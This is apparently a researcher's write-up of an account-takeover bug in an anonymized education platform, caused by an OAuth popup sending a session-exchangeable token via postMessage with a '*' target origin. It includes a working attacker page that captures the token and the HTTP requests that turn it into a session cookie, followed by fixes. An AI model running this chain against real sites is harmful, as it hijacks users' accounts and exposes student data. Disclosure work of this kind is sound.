The Popup That Handed Me Everyone's Account
A single wildcard in one postMessage call quietly turned an OAuth popup into an account-takeover machine.
Target anonymized · an education-technology platform
Some of my favorite bugs don't live in the backend at all. They live in that awkward half-second where two browser windows try to talk to each other. I was poking at an education-technology platform — the kind of place where teachers, students, and admins all share one identity system — and it had the one thing I always find irresistible: more than one way to sign in. Email, SSO, and a friendly little "Sign up with Google" button. Multiple auth flows means multiple chances for one of them to be held together with tape.
The spark
The Google flow used the classic popup pattern: click the button, a child window pops open, you pick your Google account, and — somehow — the parent page knows you're logged in. That "somehow" is where I always look first. I opened DevTools, switched to the parent frame, and watched the message events fire as the popup finished.
There it was: a single message event carrying a JSON blob with a field called secure_user_info_token. A long, official-looking token, handed from the popup back to the page that opened it. My first thought was simply: who else is allowed to receive that?
Digging in
I started down the obvious path — maybe an open redirect or a CSRF on the callback. Dead end. The redirect handling was tight and the state parameter was doing its job. So I stopped chasing the server and went back to the browser.
The interesting line was on the popup side. On success, it reached back to the page that spawned it and did roughly this:
// inside the OAuth popup, on success
window.opener.postMessage(
{ secure_user_info_token: token },
'*' // <-- delivered to ANY opener origin
);
That wildcard is the whole bug. But I still wasn't convinced it mattered. Maybe secure_user_info_token was a harmless display artifact — something you'd still need a password to actually use. That was my second dead end, and it's the one that almost made me move on.
So I followed the token. It went to a backend-for-frontend endpoint that happily traded it for a login_token. That login_token went to a token-exchange endpoint (the platform ran a Keycloak-style identity layer with an impersonation/exchange route), which minted a real KEYCLOAK_IDENTITY session cookie. In other words, the "harmless" token was one hop away from a fully authenticated session.
postMessage(data, '*')does not send to the origin you think opened the window. It sends to whoever currently controls that window handle — and an attacker can be the one holding it.
The exploit
That reframing is the exploit. I don't need to break the OAuth flow. I just need to be the window.opener. I host a page, and I open the legitimate popup. The victim, sitting on my page, sees a real Google prompt on the real trusted domain and logs in normally. When the popup succeeds, it posts the token straight back to its opener — me.
<button id="login">Login</button>
<script>
document.getElementById('login').onclick = () =>
window.open('https://app.example.com/auth/init', 'authPopup',
'width=500,height=600');
// No origin check needed on my side — the popup volunteers the token
window.addEventListener('message', (e) => {
console.log('leaked from', e.origin, e.data.secure_user_info_token);
});
</script>
From there the chain is mechanical:
POST /bff/google-users HTTP/2
Host: api.example.com
Content-Type: application/json
{"token":"<secure_user_info_token>","role":"teacher"}
The response carries a login_token, which I feed to the exchange route:
POST /auth/realms/platform/token-exchange HTTP/2
Host: app.example.com
Content-Type: application/json
{"login_token":"<login_token>"}
That hands back a KEYCLOAK_IDENTITY cookie. Drop it into my browser, request the authorization endpoint, and I'm standing inside the victim's account.
Impact
One click on a link I control equals full account takeover — no password, no MFA prompt, no second interaction. On a platform where accounts belong to teachers and administrators, that's not just "read someone's profile." It's gradebooks, rosters, and student personal data sitting behind whatever account I phished. The victim did nothing wrong except log in on the wrong page.
The fix
The root cause is a client-side trust assumption, so the fix lives there too:
- Never use
'*'as the target origin for sensitive payloads. Pin it:postMessage(data, 'https://app.example.com'). The browser then refuses to deliver the message to any other opener. - Validate
event.originon the receiver against a strict allowlist before touchingevent.data. - Keep bearer-equivalent tokens out of the message channel entirely. A value that can be exchanged for a session should come back through a server-side redirect bound to
state, not thrown acrosspostMessage.
The elegant part of this bug is how ordinary it looks. One character — the * — is the difference between a private handoff and a public broadcast. Client-side messaging is code too, and it deserves the same origin discipline you'd never skip on the server.
All identifiers, targets and payloads in this post are anonymized or defanged. Findings were reported and resolved through responsible disclosure.